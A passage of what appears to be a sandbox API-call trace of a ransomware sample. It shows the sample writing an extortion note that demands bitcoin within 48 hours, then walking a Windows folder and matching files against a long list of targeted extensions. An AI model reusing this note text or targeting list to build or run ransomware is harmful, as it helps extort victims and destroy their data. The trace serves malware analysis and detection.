lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0127.192] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0127.192] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0127.194] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.194] CloseHandle (hObject=0x8c) returned 1 [0127.194] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\", lpString2="StandardFX_Plugin.dll" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll") returned="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll" [0127.194] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.ems") returned 0 [0127.194] lstrlenA (lpString="*.ems") returned 5 [0127.194] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.db") returned 0 [0127.194] lstrlenA (lpString="*.db") returned 4 [0127.194] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.dbf") returned 0 [0127.194] lstrlenA (lpString="*.dbf") returned 5 [0127.195] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.myox") returned 0 [0127.195] lstrlenA (lpString="*.myox") returned 6 [0127.195] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.myo") returned 0 [0127.195] lstrlenA (lpString="*.myo") returned 5 [0127.195] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.qbw") returned 0 [0127.195] lstrlenA (lpString="*.qbw") returned 5 [0127.195] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.qbb") returned 0 [0127.195] lstrlenA (lpString="*.qbb") returned 5 [0127.195] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.qbm") returned 0 [0127.195] lstrlenA (lpString="*.qbm") returned 5 [0127.195] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.qbo") returned 0 [0127.195] lstrlenA (lpString="*.qbo") returned 5 [0127.195] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.qbx") returned 0 [0127.195] lstrlenA (lpString="*.qbx") returned 5 [0127.195] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.qba") returned 0 [0127.195] lstrlenA (lpString="*.qba") returned 5 [0127.195] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.qby") returned 0 [0127.195] lstrlenA (lpString="*.qby") returned 5 [0127.196] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.qbj") returned 0 [0127.196] lstrlenA (lpString="*.qbj") returned 5 [0127.196] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.ofx") returned 0 [0127.196] lstrlenA (lpString="*.ofx") returned 5 [0127.196] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.qif") returned 0 [0127.196] lstrlenA (lpString="*.qif") returned 5 [0127.196] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.mye") returned 0 [0127.196] lstrlenA (lpString="*.mye") returned 5 [0127.196] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.mbox") returned 0 [0127.196] lstrlenA (lpString="*.mbox") returned 6 [0127.196] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.eml") returned 0 [0127.196] lstrlenA (lpString="*.eml") returned 5 [0127.196] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.pst") returned 0 [0127.196] lstrlenA (lpString="*.pst") returned 5 [0127.196] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.ost") returned 0 [0127.196] lstrlenA (lpString="*.ost") returned 5 [0127.196] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.idx") returned 0 [0127.197] lstrlenA (lpString="*.idx") returned 5 [0127.197] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.dbx") returned 0 [0127.197] lstrlenA (lpString="*.dbx") returned 5 [0127.197] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.sql") returned 0 [0127.197] lstrlenA (lpString="*.sql") returned 5 [0127.197] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.mdb") returned 0 [0127.197] lstrlenA (lpString="*.mdb") returned 5 [0127.197] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.fdb") returned 0 [0127.197] lstrlenA (lpString="*.fdb") returned 5 [0127.197] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.wab") returned 0 [0127.197] lstrlenA (lpString="*.wab") returned 5 [0127.197] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.dat") returned 0 [0127.197] lstrlenA (lpString="*.dat") returned 5 [0127.197] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.txt") returned 0 [0127.197] lstrlenA (lpString="*.txt") returned 5 [0127.197] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.jpeg") returned 0 [0127.197] lstrlenA (lpString="*.jpeg") returned 6 [0127.198] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.jpg") returned 0 [0127.198] lstrlenA (lpString="*.jpg") returned 5 [0127.198] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.png") returned 0 [0127.198] lstrlenA (lpString="*.png") returned 5 [0127.198] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.php") returned 0 [0127.198] lstrlenA (lpString="*.php") returned 5 [0127.198] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.cs") returned 0 [0127.198] lstrlenA (lpString="*.cs") returned 4 [0127.198] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.cpp") returned 0 [0127.198] lstrlenA (lpString="*.cpp") returned 5 [0127.198] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.rar") returned 0 [0127.198] lstrlenA (lpString="*.rar") returned 5 [0127.198] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.zip") returned 0 [0127.198] lstrlenA (lpString="*.zip") returned 5 [0127.198] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.html") returned 0 [0127.198] lstrlenA (lpString="*.html") returned 6 [0127.199] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.htm") returned 0 [0127.199] lstrlenA (lpString="*.htm") returned 5 [0127.199] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.xlsx") returned 0 [0127.199] lstrlenA (lpString="*.xlsx") returned 6 [0127.199] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.xls") returned 0 [0127.199] lstrlenA (lpString="*.xls") returned 5 [0127.199] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.mp4") returned 0 [0127.199] lstrlenA (lpString="*.mp4") returned 5 [0127.199] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.ppt") returned 0 [0127.199] lstrlenA (lpString="*.ppt") returned 5 [0127.199] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.pptx") returned 0 [0127.199] lstrlenA (lpString="*.pptx") returned 6 [0127.199] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.doc") returned 0 [0127.199] lstrlenA (lpString="*.doc") returned 5 [0127.199] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.dot") returned 0 [0127.199] lstrlenA (lpString="*.dot") returned 5 [0127.199] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.docx") returned 0 [0127.199] lstrlenA (lpString="*.docx") returned 6 [0127.199] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.7z") returned 0 [0127.200] lstrlenA (lpString="*.7z") returned 4 [0127.200] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.tar") returned 0 [0127.200] lstrlenA (lpString="*.tar") returned 5 [0127.200] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.bz2") returned 0 [0127.200] lstrlenA (lpString="*.bz2") returned 5 [0127.200] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.gz") returned 0 [0127.200] lstrlenA (lpString="*.gz") returned 4 [0127.200] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.mkv") returned 0 [0127.200] lstrlenA (lpString="*.mkv") returned 5 [0127.200] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.eml") returned 0 [0127.200] lstrlenA (lpString="*.eml") returned 5 [0127.200] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.msg") returned 0 [0127.200] lstrlenA (lpString="*.msg") returned 5 [0127.200] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.edb") returned 0 [0127.200] lstrlenA (lpString="*.edb") returned 5 [0127.200] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.accdb") returned 0 [0127.200] lstrlenA (lpString="*.accdb") returned 7 [0127.201] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.odb") returned 0 [0127.201] lstrlenA (lpString="*.odb") returned 5 [0127.201] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.java") returned 0 [0127.201] lstrlenA (lpString="*.java") returned 6 [0127.201] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.asm") returned 0 [0127.201] lstrlenA (lpString="*.asm") returned 5 [0127.201] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.pfx") returned 0 [0127.201] lstrlenA (lpString="*.pfx") returned 5 [0127.201] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.pem") returned 0 [0127.201] lstrlenA (lpString="*.pem") returned 5 [0127.201] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.p12") returned 0 [0127.201] lstrlenA (lpString="*.p12") returned 5 [0127.201] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.gpg") returned 0 [0127.201] lstrlenA (lpString="*.gpg") returned 5 [0127.201] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.vsd") returned 0 [0127.201] lstrlenA (lpString="*.vsd") returned 5 [0127.201] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.odg") returned 0 [0127.201] lstrlenA (lpString="*.odg") returned 5 [0127.202] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.raw") returned 0 [0127.202] lstrlenA (lpString="*.raw") returned 5 [0127.202] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.nef") returned 0 [0127.202] lstrlenA (lpString="*.nef") returned 5 [0127.202] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.svg") returned 0 [0127.202] lstrlenA (lpString="*.svg") returned 5 [0127.202] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.psd") returned 0 [0127.202] lstrlenA (lpString="*.psd") returned 5 [0127.202] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.vmx") returned 0 [0127.202] lstrlenA (lpString="*.vmx") returned 5 [0127.202] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.vmdk") returned 0 [0127.202] lstrlenA (lpString="*.vmdk") returned 6 [0127.202] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.vdi") returned 0 [0127.202] lstrlenA (lpString="*.vdi") returned 5 [0127.202] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.lay6") returned 0 [0127.202] lstrlenA (lpString="*.lay6") returned 6 [0127.202] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.mpeg") returned 0 [0127.202] lstrlenA (lpString="*.mpeg") returned 6 [0127.203] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.djvu") returned 0 [0127.203] lstrlenA (lpString="*.djvu") returned 6 [0127.203] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.tiff") returned 0 [0127.203] lstrlenA (lpString="*.tiff") returned 6 [0127.203] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.backup") returned 0 [0127.203] lstrlenA (lpString="*.backup") returned 8 [0127.203] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.pdf") returned 0 [0127.203] lstrlenA (lpString="*.pdf") returned 5 [0127.203] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.cert") returned 0 [0127.203] lstrlenA (lpString="*.cert") returned 6 [0127.203] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.docm") returned 0 [0127.203] lstrlenA (lpString="*.docm") returned 6 [0127.203] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.xlsm") returned 0 [0127.203] lstrlenA (lpString="*.xlsm") returned 6 [0127.203] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.dwg") returned 0 [0127.203] lstrlenA (lpString="*.dwg") returned 5 [0127.203] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.nd") returned 0 [0127.203] lstrlenA (lpString="*.nd") returned 4 [0127.203] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.tlg") returned 0 [0127.204] lstrlenA (lpString="*.tlg") returned 5 [0127.204] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.lgb") returned 0 [0127.204] lstrlenA (lpString="*.lgb") returned 5 [0127.204] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.mov") returned 0 [0127.204] lstrlenA (lpString="*.mov") returned 5 [0127.204] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.xdw") returned 0 [0127.204] lstrlenA (lpString="*.xdw") returned 5 [0127.204] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.ods") returned 0 [0127.204] lstrlenA (lpString="*.ods") returned 5 [0127.204] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.wav") returned 0 [0127.204] lstrlenA (lpString="*.wav") returned 5 [0127.204] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.mp3") returned 0 [0127.204] lstrlenA (lpString="*.mp3") returned 5 [0127.204] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.aiff") returned 0 [0127.205] lstrlenA (lpString="*.aiff") returned 6 [0127.205] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.flac") returned 0 [0127.206] lstrlenA (lpString="*.flac") returned 6 [0127.206] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.m4a") returned 0 [0127.206] lstrlenA (lpString="*.m4a") returned 5 [0127.206] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\StandardFX_Plugin.dll", pszSpec="*.csv") returned 0 [0127.206] lstrlenA (lpString="*.csv") returned 5 [0127.206] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88bbd3bd, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x88bbd3bd, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4487e190, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="StandardFX_Plugin.dll", cAlternateFileName="")) returned 0 [0127.206] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0127.206] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd273c80b, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd273c80b, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xe02bb459, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="sonic.xml", cAlternateFileName="")) returned 1 [0127.206] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.207] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sonic.xml") returned -1 [0127.207] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sonic.xml") returned -1 [0127.207] lstrcmpiA (lpString1="", lpString2="sonic.xml") returned -1 [0127.207] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\*.*") returned="*.*" [0127.207] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\") returned="C:\\Windows\\ehome\\CreateDisc\\" [0127.207] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\") returned="" [0127.207] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" [0127.207] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\how to decrypt files.txt")) returned 0x20 [0127.207] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="sonic.xml" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\sonic.xml") returned="C:\\Windows\\ehome\\CreateDisc\\sonic.xml" [0127.207] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\sonic.xml", pszSpec="*.ems") returned 0 [0127.207] lstrlenA (lpString="*.ems") returned 5 [0127.208] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\sonic.xml", pszSpec="*.db") returned 0 [0127.208] lstrlenA (lpString="*.db") returned 4 [0127.208] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\sonic.xml", pszSpec="*.dbf") returned 0 [0127.208] lstrlenA (lpString="*.dbf") returned 5 [0127.208] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\sonic.xml", pszSpec="*.myox") returned 0 [0127.208] lstrlenA (lpString="*.myox") returned 6 [0127.208] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\sonic.xml", pszSpec="*.myo") returned 0 [0127.208] lstrlenA (lpString="*.myo") returned 5 [0127.208] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\sonic.xml", pszSpec="*.qbw") returned 0 [0127.208] lstrlenA (lpString="*.qbw") returned 5 [0127.208] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\sonic.xml", pszSpec="*.qbb") returned 0 [0127.208] lstrlenA (lpString="*.qbb") returned 5 [0127.208] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\sonic.xml", pszSpec="*.qbm") returned 0 [0127.208] lstrlenA (lpString="*.qbm") returned 5 [0127.208] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\sonic.xml", pszSpec="*.qbo") returned 0 [0127.208] lstrlenA (lpString="*.qbo") returned 5 [0127.208] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\sonic.xml", pszSpec="*.qbx") returned 0 [0127.209] lstrlenA (lpString="*.qbx") returned 5 [0127.209] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\sonic.xml", pszSpec="*.qba") returned 0 [0127.209] lstrlenA (lpString="*.qba") returned 5 [0127.209] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\sonic.xml", pszSpec="*.qby") returned 0 [0127.209] lstrlenA (lpString="*.qby") returned 5 [0127.209] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\sonic.xml", pszSpec="*.qbj") returned 0 [0127.209] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd203e7f8, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xbd9d0b00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x3c1eae85, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SonicMCEBurnEngine.dll", cAlternateFileName="")) returned 1 [0127.209] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.209] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SonicMCEBurnEngine.dll") returned -1 [0127.209] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SonicMCEBurnEngine.dll") returned -1 [0127.210] lstrcmpiA (lpString1="", lpString2="SonicMCEBurnEngine.dll") returned -1 [0127.210] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\sonic.xml") returned="sonic.xml" [0127.210] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\") returned="C:\\Windows\\ehome\\CreateDisc\\" [0127.210] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\") returned="" [0127.210] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" [0127.210] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\how to decrypt files.txt")) returned 